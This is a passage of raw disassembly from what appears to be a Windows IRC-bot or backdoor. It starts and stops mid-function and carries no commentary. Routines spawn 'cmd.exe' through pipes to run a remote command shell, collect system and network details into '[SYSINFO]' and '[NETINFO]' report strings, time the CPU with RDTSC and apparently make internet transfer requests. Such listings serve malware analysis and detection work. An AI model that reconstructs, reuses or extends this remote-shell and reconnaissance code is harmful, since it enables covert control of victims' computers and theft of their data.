		push	[ebp+arg_0]
		call	dword_43ADE8
		test	eax, eax
		jg	short loc_40B413
		call	sub_40B328

loc_40B413:				; CODE XREF: sub_40B390+7Cj
		xor	eax, eax
		leave
		retn
sub_40B390	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B417	proc near		; DATA XREF: sub_40B56C+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_43B0F0

loc_40B42F:				; CODE XREF: sub_40B417+79j
					; sub_40B417+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43B0E4
		call	near ptr 27A0000h
		nop
		test	eax, eax
		jz	loc_40B4FD
		cmp	[ebp+var_4], edi
		jnz	short loc_40B492
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43B0E0
		nop
		call	near ptr 2790B64h
		test	eax, eax
		jz	short loc_40B488
		cmp	[ebp+var_8], 103h
		jnz	loc_40B521

loc_40B488:				; CODE XREF: sub_40B417+62j
		push	0Ah
		nop
		call	near ptr 2610E42h
		jmp	short loc_40B42F
; ---------------------------------------------------------------------------

loc_40B492:				; CODE XREF: sub_40B417+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B4A9

loc_40B499:				; CODE XREF: sub_40B417+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40B4F7
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B499

loc_40B4A9:				; CODE XREF: sub_40B417+80j
		mov	[ebp+var_4], esi

loc_40B4AC:				; CODE XREF: sub_40B417+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43B0E4
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_40B549
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43B124
		call	sub_40B390
		add	esp, 0Ch
		jmp	loc_40B42F
; ---------------------------------------------------------------------------

loc_40B4F7:				; CODE XREF: sub_40B417+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B4AC
; ---------------------------------------------------------------------------

loc_40B4FD:				; CODE XREF: sub_40B417+45j
		push	offset dword_42DC0C
		push	ebx
		push	dword_43B124
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	1
		call	near ptr 26101F3h
		nop

loc_40B521:				; CODE XREF: sub_40B417+6Bj
		call	sub_40B328
		push	offset dword_42DBD4
		push	ebx
		push	dword_43B124
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26101F3h

loc_40B549:				; CODE XREF: sub_40B417+C3j
		push	offset dword_42DB94
		push	ebx
		push	dword_43B124
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26101F3h
sub_40B417	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B56C	proc near		; CODE XREF: sub_40C351+99p
					; sub_40EE72+5774p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B328
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43AE54
		test	eax, eax
		jz	loc_40B666
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_424140
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_40B666
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_40B666
		mov	edi, dword_42413C
		push	3
		push	esi
		push	esi
		push	offset dword_43B0E8
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 27A039Dh
		test	eax, eax
		jz	short loc_40B666
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_436EDC
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2770603h
		test	eax, eax
		jnz	short loc_40B66E

loc_40B666:				; CODE XREF: sub_40B56C+2Fj
					; sub_40B56C+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40B71C
; ---------------------------------------------------------------------------

loc_40B66E:				; CODE XREF: sub_40B56C+F8j
		push	[ebp+var_4]
		mov	edi, dword_424078
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43B0E4, eax
		mov	eax, [ebp+var_8]
		mov	dword_43B0EC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43B0E0, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43B124, eax
		jz	short loc_40B6A8
		push	[ebp+arg_4]
		jmp	short loc_40B6A9
; ---------------------------------------------------------------------------

loc_40B6A8:				; CODE XREF: sub_40B56C+135j
		push	ebx

loc_40B6A9:				; CODE XREF: sub_40B56C+13Aj
		push	offset dword_43B0F0
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42DC90
		call	sub_416D5C
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4407F8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B417
		push	esi
		push	esi
		nop
		call	near ptr 2690AC4h
		cmp	eax, esi
		mov	dword_440804[edi], eax
		jnz	short loc_40B71A
		call	near ptr 2660AEBh
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42DC4C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_40B71A:				; CODE XREF: sub_40B56C+185j
		xor	eax, eax

loc_40B71C:				; CODE XREF: sub_40B56C+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B721	proc near		; CODE XREF: sub_407110+74p
					; sub_40B8D8+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 2610602h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43B12C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B78A	proc near		; CODE XREF: sub_409037+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 27B1553h
		test	eax, eax
		jz	short loc_40B81D
		cmp	[ebp+var_90], 4
		jnz	short loc_40B7F3
		cmp	[ebp+var_8C], esi
		jnz	short loc_40B7DB
		cmp	[ebp+var_84], 1
		jnz	short loc_40B7CE
		push	1
		pop	esi

loc_40B7CE:				; CODE XREF: sub_40B78A+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B81D
		push	1
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B7DB:				; CODE XREF: sub_40B78A+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B7E8

loc_40B7E4:				; CODE XREF: sub_40B78A+78j
		push	2
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B7E8:				; CODE XREF: sub_40B78A+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B81D
		jmp	short loc_40B80D
; ---------------------------------------------------------------------------

loc_40B7F3:				; CODE XREF: sub_40B78A+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40B81D
		cmp	[ebp+var_8C], esi
		jz	short loc_40B7E4
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B811

loc_40B80D:				; CODE XREF: sub_40B78A+67j
		push	3
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B811:				; CODE XREF: sub_40B78A+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40B81D
		push	7

loc_40B81C:				; CODE XREF: sub_40B78A+4Fj
					; sub_40B78A+5Cj ...
		pop	esi

loc_40B81D:				; CODE XREF: sub_40B78A+25j
					; sub_40B78A+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B78A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B822	proc near		; CODE XREF: sub_40B8D8+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_40B82A:				; CODE XREF: sub_40B822+2Fj
					; sub_40B822+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2610E42h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_419250
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40B82A
		jb	short loc_40B859
		cmp	ebx, esi
		ja	short loc_40B82A

loc_40B859:				; CODE XREF: sub_40B822+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4191D0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B8CC
		jb	short loc_40B878
		cmp	esi, 50h
		jnb	short loc_40B87D

loc_40B878:				; CODE XREF: sub_40B822+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_40B87D:				; CODE XREF: sub_40B822+54j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B888
		cmp	esi, 47h
		jnb	short loc_40B88D

loc_40B888:				; CODE XREF: sub_40B822+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_40B88D:				; CODE XREF: sub_40B822+64j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B898
		cmp	esi, 37h
		jnb	short loc_40B89D

loc_40B898:				; CODE XREF: sub_40B822+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_40B89D:				; CODE XREF: sub_40B822+74j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8A8
		cmp	esi, 26h
		jnb	short loc_40B8AD

loc_40B8A8:				; CODE XREF: sub_40B822+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_40B8AD:				; CODE XREF: sub_40B822+84j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8B8
		cmp	esi, 1Eh
		jnb	short loc_40B8BD

loc_40B8B8:				; CODE XREF: sub_40B822+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_40B8BD:				; CODE XREF: sub_40B822+94j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8C8
		cmp	esi, 0Ah
		jnb	short loc_40B8CC

loc_40B8C8:				; CODE XREF: sub_40B822+9Fj
		xor	eax, eax
		xor	edx, edx

loc_40B8CC:				; CODE XREF: sub_40B822+4Dj
					; sub_40B822+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8D8	proc near		; CODE XREF: sub_40EE72+59EEp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_436EDC
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 27B1553h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B95F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B93B
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B925
		mov	[ebp+var_4], offset a95	; "95"

loc_40B925:				; CODE XREF: sub_40B8D8+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B9DA
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40B9AB
; ---------------------------------------------------------------------------

loc_40B93B:				; CODE XREF: sub_40B8D8+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B94D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B94D:				; CODE XREF: sub_40B8D8+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B99B
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B95F:				; CODE XREF: sub_40B8D8+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B99B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B979
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B979:				; CODE XREF: sub_40B8D8+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B98B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B98B:				; CODE XREF: sub_40B8D8+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B9A2

loc_40B99B:				; CODE XREF: sub_40B8D8+7Cj
					; sub_40B8D8+8Ej
		mov	[ebp+var_4], offset dword_42DDDC

loc_40B9A2:				; CODE XREF: sub_40B8D8+73j
					; sub_40B8D8+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B9DA

loc_40B9AB:				; CODE XREF: sub_40B8D8+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B9DA
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42DDD4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_40B9DA:				; CODE XREF: sub_40B8D8+54j
					; sub_40B8D8+D1j ...
		mov	ax, word_42DDD0
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43AC84
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40BA13
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_40BA13:				; CODE XREF: sub_40B8D8+12Cj
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43AD50
		cmp	eax, ebx
		jz	short loc_40BA3C
		push	dword ptr [eax]
		jmp	short loc_40BA41
; ---------------------------------------------------------------------------

loc_40BA3C:				; CODE XREF: sub_40B8D8+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_40BA41:				; CODE XREF: sub_40B8D8+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 2620000h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2680000h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 27C0000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4192B8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B721
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B822
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB8C	proc near		; CODE XREF: sub_40EE72+4555p
					; sub_40EE72+5A1Fp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	dword_43AE80, 0
		jnz	short loc_40BBF8
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43AC68
		test	eax, eax
		jnz	short loc_40BBE1
		lea	eax, [ebp+var_8C]
		push	offset dword_42DE50
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40BBE1:				; CODE XREF: sub_40BB8C+40j
		test	[ebp+var_C], 1
		jz	short loc_40BBEE
		push	offset dword_42DE48
		jmp	short loc_40BBF3
; ---------------------------------------------------------------------------

loc_40BBEE:				; CODE XREF: sub_40BB8C+59j
		push	offset off_42DE44

loc_40BBF3:				; CODE XREF: sub_40BB8C+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_40BC10
; ---------------------------------------------------------------------------

loc_40BBF8:				; CODE XREF: sub_40BB8C+28j
		mov	esi, offset off_42DE40
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_40BC10:				; CODE XREF: sub_40BB8C+6Aj
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40BB8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC4B	proc near		; DATA XREF: sub_40EE72+4974o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42DF80
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417330
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417330
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43ACA0
		test	eax, eax
		jz	loc_40BDE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40BD22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD22:				; CODE XREF: sub_40BC4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40BD40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD40:				; CODE XREF: sub_40BC4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40BD5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD5A:				; CODE XREF: sub_40BC4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40BD74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD74:				; CODE XREF: sub_40BC4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43AD48
		call	dword_43AD6C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40BDFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43AD60
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40BE04
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43AD14
		test	eax, eax
		jz	short loc_40BDDE
		push	offset dword_42DF54
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BDDE:				; CODE XREF: sub_40BC4B+18Aj
		push	offset unk_42DF08
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BDE5:				; CODE XREF: sub_40BC4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42DEDC
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40BE17
; ---------------------------------------------------------------------------

loc_40BDFD:				; CODE XREF: sub_40BC4B+153j
		push	offset unk_42DEA0
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BE04:				; CODE XREF: sub_40BC4B+17Bj
		push	offset unk_42DE60

loc_40BE09:				; CODE XREF: sub_40BC4B+191j
					; sub_40BC4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40BE17:				; CODE XREF: sub_40BC4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40BE42
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40D679
		add	esp, 14h

loc_40BE42:				; CODE XREF: sub_40BC4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	esi
		call	dword_43ADCC
		push	[ebp+var_4]
		call	dword_43ADCC
		push	[ebp+var_1D8]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26101F3h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40BC4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE75	proc near		; CODE XREF: sub_40EE72+448Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
